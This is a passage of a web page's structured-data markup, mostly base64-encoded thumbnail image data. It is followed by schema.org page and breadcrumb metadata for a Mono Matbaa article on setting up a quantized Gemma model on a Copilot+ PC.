TyeR3Jg+9galwmGceLUoGgB+gjZfgtYGLSuuRRKvLrY6u1Sp2cB2hlviaY1IoMq8ZA+AvERymkaqxOJhN2FPBF08ZhrZWl8DifuaNdvxJywh2hHxeDfKTdW0bkekGrZZSiE4Zxrpk98l1BNFQvhFZvCf3edX1CVuEL9szL0ToLVRY9sdTPYJwd\/\/mnadEGTyJzMm8PX2UrKP3oHUTHxMMRtfceFjk3q8nQrIcVT2i01S3WwRegtAcKh45+zI+7U6ILpRCeOo+CDJCLvkidMTCPAq7E2FOUwwMnjwx6GHnywexGpKV1W1vOWAI78HMXp2URgF2AEWaZm1subAep9UD6l9sgCboAElnRPUo7InhlJ8CpMmDobhosso7BXihxG9jJ9YPOvpvkp0rRzSNbACgIeUeGQFzuL2fu4OCOi0uzeaIo14n4muWeBXgE\/68cZd6YCyJlKSaZeNyxAzaKit\/II5h7DEao8Tql+qKU9A8PAc3vAkTIpEZdWbJF1gBG\/dREylkq10kj6DROhizUT4DbdQCqkiSn\/BtjxGNLdXu2iHjZAAANA\/F7kRCaAAPAq1zCUiyAnm8Wa6gZoSiGQcKACPYGC1PGqEqvVivr6tRAAAAAAA==","contentUrl":"data:image\/webp;base64,UklGRtYoAABXRUJQVlA4IMooAADQkgCdASr2ARUBPjEYi0QiIaEQuexcIAMEs7XroNbIw+BM2N\/8bhxPXcecfs8d3PkmA0S2aUzq4UWRGiM\/K729Lq\/avw97LvS7qXywvL\/z3\/Gf3n90v8F8OP9L+Rny5\/Sv\/A9wL9PP8v\/af3e\/wfxQfrB7zv7b\/mvyA+Af9J\/wP\/h\/v3u1\/3j\/gf473L\/2T\/Kf6r+5f5n5Bv5T\/c\/+d6yXsL\/up7AX9A\/0P\/\/9m\/\/Y\/+X\/R\/v\/9Gf7O\/+\/\/S\/A7+wP\/k9gD\/0+oB\/4enX8v\/+PpW9kPznmT11vZXOV\/ez8f63eyPgBezv8B+Y3ucvmegXab1CPWX7f\/y\/7731XpB81XuAflf7B97t9w9QD+Wf0\/\/Y\/4D9yvic\/8f9l6APsr\/2+4j\/Pv7d\/0P757Wv\/\/9un7p\/\/\/3KP2I\/\/4Z+3I+gz5\/ILZb406IGkEa0P6vCT845rNPtQYEd9txLK2Dpp2YSIfQirEuG7rLCtj8tnwWuObLJBE6jPxn+oHLu5SRkgm5vYPsloHaqOaprE3+9WVhLc8s2gV0RjIqaraI0jRftBrF2komN88YdwBSVaGNCQVmWLBVZYQ3afY+aVyIoPlkKnX3zYWfqucegblh6nW5y2LgcQ2Eagwtroi6JSW+k\/SoucAAvkkxJtHRIU3fJyWpI8KAGD1dWCSGNHqkOHebLvLOmynaXFIAlDZvNcwaJsz7R2PPKLhf373MgsGkwhpY9MlvNha48iiefv610NORKmwhuzS75g8iZee8vo2g4wBUV4UPp2tkVkzQVhs8X+pRccXBsNAnK4vcwIkIIHoqeNb2qCRqCjxlU0uERdkWTcn4xDY4KC4vGIz2fR6XANM+gE1aNHSFiB4BQJRIJuOknAdiG\/H05+pFWO\/gHCfIoGwrK3BG8Y5mG1+AU85nHhO2M1eyUkyoOQLoBVlfPMIs4DM\/V9ZZ6lljFtf6vOnazeef6j3MCA5G+GM20BozcEGhvYTgmRx4GBmbaXN4G6viEMIWbM1VFo60BiiNT3shLNDssaYYHgMrhymhjZM8V2IDgdMDaURTfKpndIhLj1AdVBlZrRWYBMMrrD5zYv7H2XRGD8ewEX0sv54HOC5yzYA0tUVDAx\/IoQO+aYoXGzF2lB7u3xef2IYhOS6apoc15eBTLYIDjh0Al92ZgqGBXiQGSjvDDTXzSAVciZ1qfax+xO23ruKp3R7utkttb7q0R0LnPZRXD72kPVSMo+jdFLUgd8f\/OY8QJZZWIXABHtDYHXq6EJtwkG5xwTHknelc49addrEnnsYW+TMB1V0ue5Faq8FCuyqoMt8yIL8RD12h1UsaDU6BRQplhcuGxkN2eQUwckmnLvFONhJCy\/JxlSNjSvnq2m3ySQMOsqRDaKpNpIaurtq0yONZg4RHHloCt\/K7TP+d3xk5B2h0q0d9+kq\/lvL06yLrh+rJJQAH8\/EQCuPJ+VIWfA7H\/ypXp5NQXqQgArWmGTQoDMKTicxETDaIBHqKx8\/GZTMFQW7oANzySci1eFFyFaFEIVFWQI5kqgYlBbx08p5jf5TIp0xmZ6MseQ3Ie3nybS5niF8g3lug8AAP73Gzzpsq3sulH5NyyyUJ3eiSNmnEOc+UwKwipZAKEx9mpHsl4x5by+rzk3xcsEbvy9RHeO78NkDK59a9OiQ+YYlHPbN9gpH+1wRPDXcGzsVNmc9irvY085zNOoQtbV4ZEC7U4DaExFYMIB3dohdkKZuYrUY4Owdb8yDcwPDVxK1IPTPnlv8+OHefpgVAi8dJyFH+4bc8yQv4tdOWnnq0oFEG73AiETRY72TgVwbox1PmTKT5ouoW2LWvHVKlmrHHkFwrnsV6pM4tJnVHKLQ4f4jW2HwaSgOfi6X0CgzTpf\/X8puuEORRG2RKxkpeLvgEe7ZUmDyr\/Kc4YxuHxAuz1VtOL0j5lCjHFVFxuuFt0mh6MOGQpGZlyNiKzP0wUmAv5e13x3bc\/gQ9C3OzRDdk3qVT+uZLDSspOG6IAhslH+q2wpqV0w6+PlLXK496g0NGt\/trpnaa0EhGJ18r6OcaJJs0asxP7uYH7QstolNjmPUnrWJd\/TcpRHbcx2AcC7sxZZJC2wH9pXLdOdSlP1pHAZIGvmuHUl7b9t0tMCSQeQd6nyir0CgycIQm1\/EoEDx8MslgEXy08X10kj8TbDOV74oeB6U53upyVLm8JVNGxPQWCZ7R\/RojTFfBtOvXNK8V2sLvk9sbEmzgmDLCv37yWLTnGSCblQQr0hMIKmhqSCyaB99njHpXE5FEO0ao5Aae\/RB+1TwZWrfg1BrAt6hFxKsOvtqu\/Aiv4YI855iAjRu7Nl6xubz+bKBuR4yaXaxgCPQ+kirYMwKvuWNN46TOmdlBtxDPrvCLuAVBYGKEHC+9qpIygZRrqDkbuvrKwyo+fwWsqBItVr+ijCzeYLezoKE65stpflNlaHGIjQDRZ3RTgSehUnBHW0bC0nl2ubADHyta7gI8WOkc2ClS\/r9B9rZMkQP66OVm09gp7rWoXlKKR6AN26eSv1WiD9kin69XjbgB7HfSCs3NCoCW2TGnlxGyXOIpACs9XWCf6PHjWAep7T2MI27eDIzyx8N5uP8piKpTp1i1sBC9y+o5XHXhXLiKkaxHHUFcK7rylL504C45NqVsUZgsKuPilz96HdYcy8IVXgSDzdQ7wR1vererQurzrdERN8xSsF8UzaIrlgfkOLxUSl+6cVjeXXuxbERjIi2UsKiN7hxWlSEsSNhBYmMkxgMo6tYWVsYVaQxP0b\/ffXO7M2xPfeZjBy7sWleSSTfU8UJy66vRviMNmQUS17DS\/iyfqflkP\/KRGcc8BFGeXKJJw3Uip3isPJXRKb0d61Tx4QxS2tHJz5EozWYcFBdidX+NxWNuolXNytmxl4U+rKoBZjXOznOktq8fpZFQgi8EPL4ZGewGZXFDboaqWCGf1ShmLtSyAlS1n9NHIUuUsTwKfAYt36CEYpoY5C780De0yNch3x0avc2v7Ssp724r9lLMgCaCNFOceGbFBbWoivgynryiCqpug5svNB\/ATX+pRAsgbygbFYciwdYJFLszq9Re2zD4K2bI124dqGulmO932vVL5k4zYXDjJAkPmEHnYHCcUVJS+qa5JeVYL25s6M8ezQtb3II1w7yD\/lxdoC7iAbXWQ5FOJQIVu5dJieZ2iJJ2NtXxcnd8oeM9slbUYLNhY879UcPP55E+cnf3ioL3wtvAjykuhIG95ZS+l2VIXsglRJCXTb09gLkJM1\/epEeHVbcZZkvq+xct+0+ktyvscmRMhDElSl\/xhrHx7Ey8baCNAPh+FgBpeJp4P+m3VpaqqzvyW5h2ef\/rrEVSvvHHfTXn8swuIFeWpBmhZjIaHOtRnoeYduXK\/4VTpz2e0nP3G2UzuS+8NBcf4ajrehoD3Nv610pYcJzfoTkLxSCiKnumk0NQa9RjMLG8x0tcsQWSt3nFDMToTCjvQDuusmqA+bxSHxnW9VgcakkmuY5ceDEZwPlrycOZvslhSvhojQuKaJDLE3LMfWwRHMIyZYYVWDe2AYo88hS1+b9+LB5ulCBoD44Zo5nOuxfYh5g0+gZlaiO2Z4n\/jfdUYFvvKWmbw0Q0qcb12zBn\/R6rs6prd+pbIm6v8GAOlQNcLshVv0Gb03l1lUfPzT2tyrNfjyaoS11VCYucb9l7e1Prw5lrDp8BVqp4PsnOJH\/dsRUDutXu\/yX68AkCK80NWbqh0W0lrdUo1TzSgumOipt7fE6TJwfOvkj3gEyhTvi2Obm8L\/7o2H9+\/KhfuSTaeyanLj0bMbcUyPyPWVioUZ6PvKCF+iK7B77cCEJXvrRG+WC1GxdpbgLERzsUuWdbQy9nj3hv8S5NASVKNeQ\/hZbOOFIInFVKVys8a\/jYycPx2\/c4dtIbxOrdY5sH11sWxErTb6y5siw4vJbrFmywPWeDSgnOGQ8ioXRvc1MlOlwfSvFIbDS1IUeHTnGfKK\/v1xePcTG8CNiRwOq1ADPIAajQSC6QzuGBOnRBsV1AJVoHBZlIuljJLuAoRTiSbwGkzav+\/EyYxjsdJG+GeE5hfI\/\/CoR9jgvsAQPutRXUJchFdvfd\/BvwviiB9YEg\/gn0bl6LqzGLrHh8vMqi1cG\/37GvJooy1EhRyo+0aMYZLj\/+4EtsQRyvfFk00QPonpCo9\/5fEAiSkEFuhE72pplN2aNDymfkZgWIdyxE2MPdR3F52cFUwJ1xSHyp41O7VKrTo+BfZ8LzVqY+tKMuMmCAJFtY96DeDgILIN\/+PzBN1\/KaJgCWo6EcNiV8XBXz6o95JDIVW0\/Lfh8WQuwAn0r\/5SJDfEAz3Bk+6zlnjkhxn8xhubDwyz5LU5r\/+YwnFAr3tAM8Iex4BOD0UN9ZS+LKVgn+GJ3uKPo\/PWPf\/lPG+L7+zEqWpopYmf2Eu4JQmVJSHss\/Fm58VU1PYutLTd62Nmx8KbJxRg6kYGw1j71ypFZdFZJUQ+dnjjEtO6mInn2SAMBO33XarmuegGeftc5aqoyHmFDVxjkJgiX7quvrQzBH7Ybypgkr6BKPmPLYHmlbtjWOqWzL3rtbeesBtGENAFN05waX\/nWW9JPKHaOYHD\/Shfrigjigj3AMrc4O+UpNKlhYjSKcEbHnUJ5OsM\/YIjfto2IaoiudrLqDGLKNYi3lyTnEZCu6PmUlp7vSGcl0Gw6FvTcxlnzc5CovIBNrE2rb5TcSXXhs2k4sLXUsxmgSgCAdkSOe3j6ICY8hUSrKUkNSrTrjTRqR8C2kcgRQM123qJgrqX9YqwDjh+GW8gRTmPEKoDiU6ZMnCrOPnhVJXbFDcOMnhDGrVmvaydnB1cVqmKyV8TGT64obeweO2AWBzMbR+o5T22ju7zaEAxEaG\/vusNe0jE7gGlFHNH1AGH9Lm1XfIXQK7aQjQzXGdIy9E6dp4LFBmqUo9ftbbHPUJKY\/wybgivDF3g\/vsVWEuDaGgAnxnPOYdb0Numhn53sqGWtR\/sKuLc3I5jAnEaDzLB1Um4pUXxHSFqyrXnNrIsdFjqMw79JuDpZc4zUlxRw6zUXmZAlW3N1Zqh0LtluWdh6D5kWGzH1VE6VHn4JewrRqaqamp+lsc5gUdWMqIJ7uU+FtSFFV0VhwzaO4El\/Qmeg2cw8Q6dPEPzdbJ9HuEu13yem7CiSe3KH\/wAkI\/dLsIK2603qDJnnvd02MXmqJRuCnUchOmoxLowAna1KJpOzRbYT\/qW9AYhLi5Ei\/IZCPj1fTVWVVXNHS7Hh2Xxg7Gd01mXN+5CRhFUD6ZE5sMdebjM2HCHDRbMZhqG\/\/c8REvj+6A+fz9oBTAy2CMlNlvWm7j6LLQpNvbaEdERWgO\/bLYEln9zA7nesP3crIt3\/DUR7R0YTWqvOQwW2LwSzWnQhiNhWNE8MRP0\/sB65\/9wpiAAXXm9MYZRx4xaccyxnkwSVPpoAd1VmWbNUsix0sYSaqPgEvkCZKrTYaXntNwCO57lXgokUhky68yCeOGz2+W4ZtwsuLJm4UDp4oeGG5Y3bjEgk5AVXCzaYVqWT530G5TBlyDj1xVo7EU+F8DAbUFObq6mxRFtq6hVuRKYcXNIZGH53i+D+7+kEhGG9ZQzN\/ky2zdIr\/F81rkF4QJ6M\/yviIBCMFOJYgB6NkMCpeOiO8Q\/bzjpWfklbaxh8ZAUG36fcArxBxcIFkOrNNlmXijCejpExNk\/M39BrPm6cLk1JjfCKab\/9y5GYtuyr+pkhQMY0UUiVw8okRyJg5mUJ1ogoB77HZ69xpQnM8j+onI7e8d0e5TC4EQpwvshMgD2o+EPJ8rTdScFPghJJCK058yZoO1jwqnL4oHM9IONBnu6tdpwreYaNdYmoe8f+UieXHaj\/1OtsXQ775i1Z8qUd+mOpx+zxRJX9ub8a0CgLOnAtqiPOmHFtTvzxinwe8TUwdFGyYVgNHt+2o5g\/eiBV6YSxNdiShRTTtj2d5d6BRxCyKZ5e7+dsBuCWBDQEPktDg2arzx4lzsJ2\/3GMZJa2W6wFVoy3P6QcPw6hbWOR6nGHurtTZWCsoHZ\/MP3vOl5lzOjCeNW+LxcA4CbN0nvR5v6WA8kMArEgMZ93PIJLUp9u28WO8vs+nb2LBZs5ABGagj80wN5wzxATXn1GbeN+K4mnljB7FhOJ5B6gQdxGvz\/KtIgzSQ6UAp6SitqGTX3QQD7HdDfnxk6wvetXkfeWODMr2v6HFxEa9kNjIx9btQzUNCVJJaRMO024duPdv34W5PrzN\/1HJEMbxrtQ2ww4az\/7i+rwb+Lb4s6bnO+9+oDhDVpLXv1LRANf31Q2Q5u3J4bvzY4+VtCHFDZ+27c0+aOG2qSbgAF0BxkDElFHvNhKFZW9lyOGIm5COzEe\/NSzMXTc4WZyZkMR5PC\/P50gezVZPTQXb0pjf6Fhg\/2+9e8snY\/5FkxJsjNPhqIGMfuuJZLF6rTAcLFVUMxwvty1NUfQEvXuUVgakKQn5doxVyElvuX9es9oA7YX8oexB1TxU8tCtfpRXGKTVow2vm4bSYT4Fr3YF\/3zDRTlXC\/O9wwQfkwmkGonmoHWAWeCZgYUXsLs0cEHk\/vZx1p33rrGXILhPIwyWISMY3wSEq+qRWQCp8ffdyJIaeqiP\/rQCXdIb5XA9UkMWt7QOG03XD04DjmWeBfXd0ykBw5KmH30zz38aMvLGPaBysvdC7Dx9D7MVsd6VrMrUQwpPGzph8ley\/wlgwm\/IqUGlsEIWFEUz2p0vk48fC6\/RaZFqfTRNqBigTQu+7SeAkDd+KvpwuibR2DjA2uhqjQJqkiIsAJ6qbjbSa8ldjaKZPrGOtArhxhyiZnpaR5IaH5XO1wljlbcmeRcnCBhIUVdwAf9qASL6F7YQtqbpZxN7ZvPLnEcKCkcDLnLI6Pp5CIDqAICjFxF9whXD4Ke+s8kTA94w\/5h1qX0aUa1OMb7rROk8f71cWc6k1q45dHdjT4Cd96iB93mNRbeGQ3+V4\/x1C8osy\/RWacVWMNdWa65E4WO\/wm8Zbb0O8MB11pPbuPlEvyRpL\/iF9XJaq702voKwukPEeqcmzm+PWpwhdYPyVKBJ\/Nkz7rzO6A6GqI0JNayUH2J4Mp84WtCZHcVD365L0JAJQTkIak\/UREFdCXWxw3XGxmPuF7jUjJcw3tZiR5oVFcsUMW5WMHMytegi8\/HbVuGGQ1XLsUbeIjL8ZaXikb\/XUvhwId2KNFtLAyBUQay34UwWIq8B4BoER49Yp0VChx9BIidRhpga3qhT3XPOJh226G5OoJ7kQ4j71kTWglyN+99bmG0T+BOmhERnTeq9X3z93dpTbDHobpj+BmqioCMB0eAVnxsivDoM6Ou0akQKCsZXXy6jL1jhD73R7aEBkldnBcZ5q8YtXEfo47EWuEjQD83lYtqZKlKHsnK5RwsypzQm5JZVCDpZEAkEetvvLq9g1Wq+rQ7pPRNsBY76ghTYBzAYD+eh06MG8NaTXAqCa7qPoeK8THKybkwvpJeyLreqKPGL\/K0wBahZxI2IphEiP3xsE2Jwo8EhfKdn9e60QuRJfclKZ32bHf8avEaqkKmoEohhLqrKxlIzjcQ2ddUUvHalbTQJKxoemSEFFYjnIIiwBKLsRo6ueiU3gWAyShJ0XMNrZrBFwum8sBoDm+kznAcKO2jWqpr74X0y5CQjc4BZOw5AZ5dswSV80n5jAU8+spDzn4HRhkZW17r73Wvwm+EhCqZFdxMy5J0Dk+y7zjhRkIwgUNmKFNbYiPxDpcimnmYEplcdqla7r6D0FHJhoERsYrFfxhOnkgZvbJfaUOZCoJwmiPFoi359vlo9LVR15JEFjX46sZIhjlNQhXKTnCCYcFb7kmGW6Vn25NTpNYHHWaWCE\/ZrJaZN3ND1Bf8hWgguihAHVejTzkIfy9CSFduiPYq4w9X3Vi2twfhJw7HzqHytsXYJifc4Sk4dbz2xpMe3hMnw1Iyhto0F9Q1oF5Na0oDxjzJpsHRtaozWTilrAsllDRQDCcz1O7JAuS2qppUQzX+KQI9cVCcf1oie\/CPX3WYnRaqVPKzHbdgvKGXjH4FGyJHRAWKS6bw0Ui2FgQPtXPwjTtGQ8xB0VcDu6KRiLZ+AVLtBQUvTjTu0vh1yx6ySL52YzzSpuwf3EJd6L59G14jvMISC44UXCdeQPXwKLACOAiIh1w+3du\/eY80kPRiHy987DeNxq884kE1kSXU1GhupmfF4GH0xDEGurj9TGe4\/YFO7x9fG91Rvqwertl0serpxhLu2y2fTvvRjzSwqS3sG7Xcmn+aSLSRm7U3dvvyqooCaeQelNPrzpWuGrjevtbyxzysQFzsR6ceuOhYd9O9cZ1tR9FzGzMnAjVPO7hgSqehoYkKzj9GpiY2ZND8Sl8Qk4fPMpT5auDwaw2D+BxkOPOHZ3pRWxB8wQnR+fSjVM66ELllibP6vlc7Rq2HrJpFvggZUNomBw5zu2ECjwt50kSgi5MP68j+HLDVDSgunMcRb5uGqPgPgXbRoQWQHt+zo748ZgOs8VO75d77R8O9ZTnKrArO50epktdzfrLcK5TQMBpmyn4w92aKK5C7fVB1D\/lGp+VyJ+lnjq7zr0rfyZwioWmDP2DXU9eR5a1WszwJIU7iCLbO35AYEgj\/8GC2Y7cmhP8Q8HrRzJDJW\/dKI8Of247xr4HVuL0nivz+jnMzOMFIzRDcvBs5qqggFIWDSdYSzBCFnOccXv69mE19pMoU1VDhS+aqZWBqEGGkNgYJheU9EM\/yuWXQKzxf7bxyejuzytjgCQIHKsdRyWOFruJ1ZdHhyNn\/uShCjOG9zspldpmSgJOWu2\/\/CtOt1v3+XFdBYB2TSotPApdHAzLgzbzm9v64ipj+0gXRGlNQlry4RBCPFX46Ifi7hJU7MqSiKH\/yp6EhD4OTyvxerNPqu8gc2BMfs7qXeoQuYsZ0uge1PemYBviQ8jT+Zl4R5cyAVK+cUDxLgrflAiW+5KHTHyjSjt5gb8owzwZXikEeiQUrLTaUFOMC7xYIGru0DkSeTA8Q4oOEdA0nUCvHecqoUwzMliW2IbU44NA7T2k4zorOIA5+52bYbwxIO\/A66XasWyfM+ExJxYefn12BN4XT3bncCxbcR34kOWr10LMWmD+ApYA0YaO8clPSdotBc2o3j3eGR7W+3I1To93BCRWPXOb\/hvwgkhsgiGkAOdCvTYCfkNDKLxT\/0viSI+QOkhL3eVgYUk7x+CV6DEh7Fr82SdDbjJ0jH7Dn480RrYBowhsEyJ7H+\/SQetPiklCWLAZnC4edv+9GrkXH+xbmRT4IVviFvkSys7GYfO\/9GngPjM7LTIPzcpHs5750JtJbhZrOTACNbzrV1sfozbJxzusjBTX0YWy77k\/8TVfPV0HUuw9thzfjzV6MuUQa9rynn6\/tCBirzRjBWSjUk+n6H5mZFsOMX9+OdNZxWSLNGvKWyqeop2NHE6uPFiiiqbD9Hb6SnAP1loWqD5EBEQo5+B36Jp+EVdYBxVpNs7JhRmHaN2sXiVyMVaRPMyiZqwnBUnz5a2QBVkIC8lddMmmM6yxkZ8ELbw5uCW1lSLgZ57Npr\/2WzwoZC79FG1jL3budhOteG\/XDIbDtCplmdkPNxKGAC6Et8rpnlprBjV8AfIs4I80rzVV7MI75WnD6Z3DAzrd9ks2e9MXF\/TUOh0cINY+25KBBD38EPnuHi2sG4\/iho10X0VjkiFcoUe7mFsz86A80Cks73WM\/wtRabP05m9P0P4qmtzANfpeQtD+52VAeIIMmIuC3\/EVckiMY2v2lqENDkYVDMilZh98d4ov31PSNYabaxe2GD6Uz9m6RS2a6sY\/0ioAtgZ\/SyqfwhQ0eNMsYlZDU4vGqNraf\/BA3EQ601lxguJlza9iDIAC5oPxEFnsv9SBj3hg96MwvQKvIO9CHf8PfKZ4abWfJVBF2xC8fdVvTv8SfRp2p9\/v3FZerCVBt7FFO1XPHFMgyKwC2heeJ7axHfBedA7m3eEU+HJ5URnrSJYwimWMJT4asaxqHuizMUamg65MtFxViSU1G+s6JSzVu4yMwXq1vx\/z87+4V4VZE9\/Bm163SWtGBHLWEDGZjOUweLClJ9Sk\/nM205k9\/r4Dy0x+MNAFrT7O7Ka9lfTksxnLSGxlJCWQgqFl9r0uC2ZRha7A7OOzEG6xtkmssmebl8B2R0AOUGucI4ky6ynvLWICHrjhkK2axCo0MSEB0e7v5G2K3uK9Kc1hTEVpFjbt1j1cEf92xHewGzWTaXX4HyD0IqrG0rhD60zg51g12L1tEee\/GpVLHKEo3JX2wG+qZHMdlTWo59\/\/Cpf4QcXeIOp0JC12u6lVAqRtWZ557F\/+8skkKexdF0RzWeokAI0XJ3X\/4OQkPk++XrErBpRR2u\/Qjoi0WF9AvC8\/gxftVKxqXXVlG7loElEtlEOARPqhVnIzAzdv1ZsAhUlCeMWSPu88Hgt1VEfyYLXyfKkBBHDmf9Fz59QTpfetopvQnzzlkwmmJEQ2vMq\/+Gfn3bS9nZ+vi85eGdz52D2hiDFlXbVoB89P\/wcatHSmMnSEK0\/fx8GbUo344DfAs6Tzngq1nYYP9LDksJQ1K1knv145EFt\/ELR+57y1xFDr9+aKRNFm\/BAbmns3MyRnOEY4RzuO3jFhKZXivDDp6fkyD1FFBMSh0CfaXU2glSVVlLzEcU7vMeZ5Rg3ZvKIEj8KpPcdQvKVPUV7mGWDlgFb20P3QKz7KijEgUUoXcTkLrjZPIhOUuW\/oBn72Map+OU+MdKvtYExvQ+C5HN1E0FZpVb+3RPi+Nx6FgPOfXZPlh46pi+1kSFgVbMlDfJ1nYS9kkFTK8nD4lPYVLArO6NpMT9O+7icITwvDGsajD+jdarZ48Am97ylVropVJs69HTaU\/NHHI4SGqqT5vFQKVVrmj8ZffYr6O48WxHxaVSElkQvpjDlRE1eywA++bcooIalgxDorMP4klr6ElzwJLKNPvszt5ju0IFk6aRaUc5l3tXvJW+bPgUhVt5Fo9fdJJaSUYekRY58LDQbZq5OrHQZfDRyKoP5yOkF3yGycFx2xYXcu\/GFL5sSb654T6xA14hXMBcprkF5bcvdy3atjj9qzh5yDDk7Sdbybjr4DcFNo7nLWpOmpH8SNlesIfNI9AS2U5hPkY3EplFE8jTUSF2SyU69lNXZ9lT2Vm+3tl2iO9+xj9s1qC1Ts3u0Iou1cigh5zIIgemID0UyjfvvzBbTV\/HugWJNwbz+ArhdsI0oDwGurkS2ZNsyXDmtMfVxza7mrs7pjx1\/Y4wg2OZmIY8dbckPxXDEzfu2iMr0KVvazPwCkyaNr+s3VNYByAykoxgxPAC6mJVKuxHn\/qrqINgIVcw6mAUgAvThQSGGbAlqXE4mkGNoXNnhMl6ZK5aYgfkG6OKpUDf2CfTopI2R1SGXEVUXteUtOa8l7yOJqcwYJIO+MKajLfz2\/M88mNbuvGuG\/Q9qCCWEhPUOH2xTG2j4vAkZqXarwqNMdIXTS\/EK1f2kQkRke71O6ilfd2nHisxmmKxEV6GJqea8R7KGke\/TVY+kJA5mwKAhzL6GN8lI+wx1GQyxExQV5hpz7Vwq88LM\/mrF70lpk5V9QY6p0yGc\/LY5ZZhPPiZ51SnPxeuD08WDHj4VGX66KBFmI0X6XWbmJyX0IfwwB7f\/lr9IED3YBqz2tTAnxYE0umsPdwrJLGeki2yS1+SzNoXKiXY0D3ajBKB4jCaF8PSpRTQUzsSchmKe0nEmeR4CUlPWi6GNaxRAtZtD14mfxl6idXq5Pf\/iBlGRdgh2mgY4tZy3LAN5sbX1C530OjgIz2SuNZoC+hxKBFNGFuiJtGYymqElN58ASN2CIOIRnEAQ2XlyhWTwtgJSmg3DJGh8Wc2KgOpWN5VZ7S2PxzRCBR2xp1QI1RmA3eMcoP0vAowghU55q9i0B5486qvC2kN3SvSZ6yib9zp1r+e\/FTveOmQ4NAgm\/KxDSjAlGoEPku76mOUIv892rhDkw9PIydhZ+uxeV3uDAzzt+9RCfehP5KnVrEs2GE8OQFFacguTVBuHXVU7TwSV9WEX\/K2nzRpbV3FH6GzUWnpoyBYhbtGnyZvZgUiKD3os0+z2F7zMorr1ofoNZcUeirOAFNUhVd0zt9hR\/NDppFI54jOA58B9qBNOGWoJ6MzMdZ4VjKxlHTRY33KOuZlfmLR+kMadFNTAuQfWmgfdHFssOVfRQYf+yqMiyyecPZkdmqdXQbhtZ1DQ+cu1tLNhm+OqnAi+OWO\/ielJg+2JrscUkR8OOpF36MkcdNfFH1u4ApudeyBblYj\/6sD1ht0f3oe2uwfa8xhgT\/Acx3oA6DMB\/3dWyhoAJUb7okNr1QLzRMu6RA5teWKKvr1DaXA1NkHWH4KZLqRdNr9beanhS0fKRMTyEvzCzTFsnr3lab\/pKKscXQEWZgATCQquu3YrL4EGbx+\/vmtHZTycXWR+M5QE07qtgb10nM28aut0XV\/TJrxh14Vw67JP+b4aRQJEHwNmTErnF3k4qANT61fojZBpxDIBE7mt4GmDl75OQEbVov2OQnVaO2G0PTgPQeBeI8fvB000pn9iElA54BgLA5BnHSuUD8dKp\/j3wxX1Ol2C\/scH2ENnhDEBYdaqxC70kZ0WsgyX7Q8X2rsCGYmdzC4nLhz2FBmM8lWQXh8Tiil2317GDcmjztUMSS7jubPwv0CK8pO2SMzIA5W0uk5XKc4COwYYJRLy8qAJU0SX1HbIYqXA1XpEAt+RXxa3hT5AR3D4yhHj3jpXe4dBjtj\/xrHQ6hN5YtpYY\/VsRT8QllPhkYMPm0zvFT1DU0gJB\/inKN9og6OSHmAHgA2tiiIz2vEUUNkJ9nhBpSb091VsCw20KmCBlb\/0zZeA\/Do9OTxgH4C87FIl4r7NatUw73Kr3AkCR\/5lfo6tPTvWYCy1PFcpWMSNtbQ+GfLpf72ruXUo2aVj3AlVHQTiuUIkgU+tGsu9YFQY\/M6Ht+XKtf35Aa9f+KrO3Ivw9cWwCO9KtcEJUOlBVWc2ozJKWJdcZLBcYfDQu27toyTX2VIOvakuPaD9pfDa7T6zbx8+WQQZklLLCnGBV9VDZYebzwKzpcuWtGFzVLvgsAAeLFJcbefzo2PL9gXNicJpGjPNAsVq7mBYSVzxuJamDypQig0y3FzBuphnsVTp4OWPLBVcZRUELsTBZHsrQaONfYjgAD1mDEm7MpUBOIKbMWFp8IoE9QfJYosLU0mFS32f+7tTUj\/G+o4hOgae0DHEYlbHwqdmnLLVWkt+nxMJYHLTyeR3Jg+9galwmGceLUoGgB+gjZfgtYGLSuuRRKvLrY6u1Sp2cB2hlviaY1IoMq8ZA+AvERymkaqxOJhN2FPBF08ZhrZWl8DifuaNdvxJywh2hHxeDfKTdW0bkekGrZZSiE4Zxrpk98l1BNFQvhFZvCf3edX1CVuEL9szL0ToLVRY9sdTPYJwd\/\/mnadEGTyJzMm8PX2UrKP3oHUTHxMMRtfceFjk3q8nQrIcVT2i01S3WwRegtAcKh45+zI+7U6ILpRCeOo+CDJCLvkidMTCPAq7E2FOUwwMnjwx6GHnywexGpKV1W1vOWAI78HMXp2URgF2AEWaZm1subAep9UD6l9sgCboAElnRPUo7InhlJ8CpMmDobhosso7BXihxG9jJ9YPOvpvkp0rRzSNbACgIeUeGQFzuL2fu4OCOi0uzeaIo14n4muWeBXgE\/68cZd6YCyJlKSaZeNyxAzaKit\/II5h7DEao8Tql+qKU9A8PAc3vAkTIpEZdWbJF1gBG\/dREylkq10kj6DROhizUT4DbdQCqkiSn\/BtjxGNLdXu2iHjZAAANA\/F7kRCaAAPAq1zCUiyAnm8Wa6gZoSiGQcKACPYGC1PGqEqvVivr6tRAAAAAAA=="},{"@type":"WebPage","@id":"https:\/\/monomatbaa.com\/en\/few-shot\/gemma-4-31b-it-awq-4bit-on-copilot-pc-5-minute-setup\/#webpage","url":"https:\/\/monomatbaa.com\/en\/few-shot\/gemma-4-31b-it-awq-4bit-on-copilot-pc-5-minute-setup\/","name":"gemma-4-31B-it-AWQ-4bit on Copilot+ PC 5-Minute Setup - Mono Matbaa","isPartOf":{"@id":"https:\/\/monomatbaa.com\/en\/#website"},"primaryImageOfPage":{"@id":"https:\/\/monomatbaa.com\/en\/few-shot\/gemma-4-31b-it-awq-4bit-on-copilot-pc-5-minute-setup\/#primaryimage"},"datePublished":"2026-06-30T16:34:51+00:00","dateModified":"2026-06-30T16:34:51+00:00","author":{"@id":"https:\/\/monomatbaa.com\/en\/#\/schema\/person\/0666da70525e8dc488e0136460da820e"},"breadcrumb":{"@id":"https:\/\/monomatbaa.com\/en\/few-shot\/gemma-4-31b-it-awq-4bit-on-copilot-pc-5-minute-setup\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/monomatbaa.com\/en\/few-shot\/gemma-4-31b-it-awq-4bit-on-copilot-pc-5-minute-setup\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/monomatbaa.com\/en\/few-shot\/gemma-4-31b-it-awq-4bit-on-copilot-pc-5-minute-setup\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Anasayfa","item":"https:\/\/monomatbaa.com\/en\/"},{"@type":"ListItem","position":2,"name":"gemma-4-31B-it-AWQ-4bit on Copilot+ PC 5-Minute 